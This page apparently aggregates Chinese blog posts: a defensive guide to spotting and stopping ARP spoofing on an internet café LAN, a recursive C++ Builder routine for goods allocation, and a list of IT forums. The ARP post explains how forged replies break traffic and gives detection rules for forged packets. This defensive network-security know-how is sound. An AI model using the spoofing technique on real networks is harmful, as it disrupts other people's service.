                Interface: 192.168.10.1 on Interface 0x1000003
                Internet Address Physical Address Type
                192.168.10.3 DD-DD-DD-DD-DD-DD dynamic



    这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!

    所以,局域网中一台机器,反复向其他机器,特别是向网关,发送这样无效假冒的ARP应答信息包,NND,严重的网络堵塞就开始了!网吧管理员的噩梦开始了。我的目标和任务,就是第一时间,抓住他。

    不过从刚才的表述好像犯罪分子完美的利用了以太网的缺陷,掩盖了自己的罪行。但其实,以上方法也有留下了蛛丝马迹。尽管,ARP数据包没有留下HostB的地址,但是,承载这个ARP包的ethernet帧却包含了HostB的源地址。

    而且,正常情况下ethernet数据帧中,帧头中的MAC源地址/目标地址应该和帧数据包中ARP信息配对,这样的ARP包才算是正确的。如果不正确,肯定是假冒的包,可以提醒!但如果匹配的话,也不一定代表正确,说不定伪造者也考虑到了这一步,而伪造出符合格式要求,但内容假冒的ARP数据包。

    不过这样也没关系,只要网关这里拥有本网段所有MAC地址的网卡数据库,如果和Mac数据库中数据不匹配也是假冒的ARP数据包。也能提醒犯罪分子动手了。

    二、防范措施

    1.建立DHCP服务器(建议建在网关上,因为DHCP不占用多少CPU,而且ARP欺骗攻击一般总是先攻击网关,我们就是要让他先攻击网关,因为网关这里有监控程序的,网关地址建议选择192.168.10.2,把192.168.10.1留空,如果犯罪程序愚蠢的话让他去攻击空地址吧),另外所有客户机的IP地址及其相关主机信息,只能由网关这里取得,网关这里开通DHCP服务,但是要给每个网卡,绑定固定唯一IP地址。

    一定要保持网内的机器IP/MAC一一对应的关系。这样客户机虽然是DHCP取地址,但每次开机的IP地址都是一样的。

    2.建立MAC数据库,把网吧内所有网卡的MAC地址记录下来,每个MAC和IP、地理位置统统装入数据库,以便及时查询备案。

    3.网关机器关闭ARP动态刷新的过程,使用静态路邮,这样的话,即使犯罪嫌疑人使用ARP欺骗攻击网关的话,这样对网关也是没有用的,确保主机安全。

    网关建立静态IP/MAC捆绑的方法是:建立/etc/ethers文件,其中包含正确的IP/MAC对应关系,格式如下:

    192.168.2.32 08:00:4E:B0:24:47

    然后再/etc/rc.d/rc.local最后添加:

    arp -f 生效即可

    4.网关监听网络安全。网关上面使用TCPDUMP程序截取每个ARP程序包,弄一个脚本分析软件分析这些ARP协议。ARP欺骗攻击的包一般有以下两个特点,满足之一可视为攻击包报警:第一以太网数据包头的源地址、目标地址和ARP数据包的协议地址不匹配。

    或者,ARP数据包的发送和目标地址不在自己网络网卡MAC数据库内,或者与自己网络MAC数据库 MAC/IP不匹配。这些统统第一时间报警,查这些数据包(以太网数据包)的源地址(也有可能伪造),就大致知道那台机器在发起攻击了。

    5.偷偷摸摸的走到那台机器,看看使用人是否故意,还是被任放了什么木马程序陷害的。如果后者,不声不响的找个借口支开他,拔掉网线(不关机,特别要看看Win98里的计划任务),看看机器的当前使用记录和运行情况,确定是否是在攻击。



    测试者家园 2007-01-16 08:48 发表评论


    Link URL: http://www.cnblogs.com/tester2test/archive/2007/01/16/621322.html
  • 自动配货系列:主涵数

    pkqsunrain 发布于 2007-04-21 19:25:36

    void __fastcall TForm1::getListdata(TListBox *LBLower,TListBox *LBLNumber,double ValueLower,AnsiString NumLower,double wrap,int caunt)

    {                                  

        double Value;

        if(MiddleValue <= sedw->Value ) return;

        Value = Getsumdata(ValueLower,NumLower,wrap);

        if(wrap >= Value)

        {

            if(wrap-Value<MiddleValue)

            {

                LBMIddle->Clear();                   

                LBMNumber->Clear();                                                                                                                                                                                                                              

                if(LBLower->Items->Count)

                {                               

                    LBMIddle->Items->AddStrings(LBLower->Items);

                    LBMNumber->Items->AddStrings(LBLNumber->Items);

                }

                LBMIddle->Items->Add(FloatToStr(bigValue));                    //LBMiddle :目前最佳组合的净重队列

                LBMNumber->Items->Add(bigNumber);                              //LBMNumber :目前最佳组合的编号队列

                MiddleValue = bigValue-wrap;

              //目前最佳组合的净重与实际重量相差

        }

       }

    if(smallNumber != "")

        {

            LBLower->Items->Add(FloatToStr(smallValue));       

    Edit3->Text =smallNumber;

            LBLNumber->Items->Add(smallNumber);

            if(wrap-smallValue< MiddleValue)

             {

                LBMIddle->Clear();

                LBMNumber->Clear();

                if(LBLower->Items->Count)

                {

                   LBMIddle->Items->AddStrings(LBLower->Items);

                   LBMNumber->Items->AddStrings(LBLNumber->Items);

                }

                MiddleValue = wrap-smallValue;

              }

            smallNumber = GetNextId(smallNumber);

    if(smallNumber == "") return;

    //递归调用getListdata

    getListdata(LBLower,LBLNumber,smallValue,smallNumber,wrap-smallValue,LBLower->Count);

         }

         else

         {

            return;

    }

    // 得到大于差值的最小值和小于差值的最大值;

    Getbigandsmall(wrap,ValueLower,NumLower);

    // 得到小于差值的最大值的下一指针;

        AnsiString de;

        de = GetNextId(smallNumber);

    if(de == "") return;

    //删除保存的小于差值列表中多于上次递归调用caunt的列数;

        while(LBLNumber->Count!=caunt)

        {

          LBLNumber->Items->Delete(caunt);

          LBLower->Items->Delete(caunt);

        }

      //递归调用getListdata

        getListdata(LBLower,LBLNumber,ValueLower,de,wrap,LBLNumber->Count);

    }

    //---------------------------------------------------------------------------

        程序是递归和变相二分查找的结合,本身没有什么,但是递归是不能压缩队列的,我花了半天时间想到LBLNumber->Count的方法来代替,是有点得意的,呵呵!

        如果有兴趣,我会在今后两天发表这段程序的流程图,算法说明以及它的黑盒测试案例和白盒测试案例。今天想上传的,出现点问题,呵呵。请继续关注。

     

     

  • IT从业人员必看的10个论坛

    fish_yy 发布于 2007-04-24 12:11:06

    IT方面的论坛太多了,有综合,有专业,有行业,在各个论坛里混了几年,体会颇深,以前是论坛哪里人多,往哪里去,新浪论坛,网易是经常去的,人多啊,好几十万,去了以后才发现没有意思,没有共同的语言,于是逛专业论坛,行业论坛,终于找到了共同语言,总结一下论坛的经验:人不在多,有仙则灵,贴不在多,有精则行,逛了大半辈子,一个IT人发展方向一定要除了技术外,业务,理论,思想一个都不能少,于是我推荐如下这些论坛,或许真能帮助您,做论坛,都是赔本的买卖,不收费还帮助你学习,得向斑竹们致敬啊。
      
      以下论坛排名不分先后,还有许多业界知名的论坛,主要有点偏门,这个不做概述,呵呵。
      
      IT技术开发综合类
      http://community.csdn.net/
      适合人群:只适合软件开发者
      技术开发最全面的论坛,里面可以遇到很多牛人,版面也很全,什么J2EE,.NET啊,该有的全上,在这里基本上可以提出任何问题,人气也是最旺的,不过一般提出的意见都有正方两面的,所以最终解决问题,还是靠自己。
      评价:专业,很牛逼,就是速度慢。
      
      http://www.52rd.com/bbs
      适合人群:研发人员
      我爱研发网,顾名思义,是针对R&D研发人员的,目前在射频,通信,手机研发是国内第一的,牛人不少,问题讨论的很彻底。论坛制度很人性化,设有资料交换区,有超大量有价值的资料。
      评价:强,速度还可以;
      
      http://bbs.chinaunix.net/forum/
      适合人员:系统工程师
      这里的特色就是操作系统方面在业界是最著名的,牛人不少,目前,在数据库,网络方面也颇有建树,当然灌水方面也不赖,呵呵,属于温柔性
      评价:强,速度还可以
      
      http://bbs.chinajavaworld.com/
      适合人员:JAVA开发
      JAVA方面非常综合的论坛了,牛人也很多,是一个难得的JAVA论坛,涉及你想象的关于JAVA目前任何技术。
      评论:强,速度还可以。

      电子工程师类
      http://21icbbs.com/
      适合人员:电子工程师
      人气不错,覆盖面比较广,老牌了,就是有点和时代脱节了,无论是设计上还是内容上
      评论:强,速度还可以

      http://www.eetchina.com/DG/eec_dg_home.htm
      适合人员:电子工程师
      环球资源的子站,页面设计很大气,技术文章也比较及时和权威,是个难得的好网
      评论:强,速度还可以
      
      网络工程类
      www.1000bbs.com
      适合人员:布线/网络工程师
      人气很旺,特色是版面比较紧凑,综合布线这一块很权威,很窄很专,时间非常久了,颜色比较明快,就是太低端了,
      评价:不错,速度一般
      
      http://www.sharecenter.net/
      适合人员:网络工程师
      之所以我喜欢是这个网站很多做CISCO工程都知道,也是别人介绍我去的,时间非常久了,颜色比较暗谈,属于忧郁型。
      评价:不错,速度也还可以
      
      IT营销管理类
      http://www.topren.net/forum/index.php
      适合人员:企业策划,CIO
      业界知名的知识站点“唐人社区”,信息化管理顾问可以去看看,人也很多,可惜,都是下载,实质性内容需要改观,我记得是非常专业的网站。
      评价:不错,速度也还可以。
      
      IT管理综合类
      http://club.amteam.org/
      适合人群:大多数,
      评论类比较多,基本上在其他媒体上看到的评论,这里都会有,要想了解IT发展的情况,就来这里看看。
      评价:很好,休闲工作都可以看。


    测试者家园 2006-11-15 13:16 发表评论


    Link URL: http://www.cnblogs.com/tester2test/archive/2006/11/15/560989.html

我的栏目

数据统计

  • 访问量: 24144
  • 日志数: 35
  • 图片数: 3
  • 建立时间: 2007-05-08
  • 更新时间: 2008-05-26

RSS订阅

Open Toolbar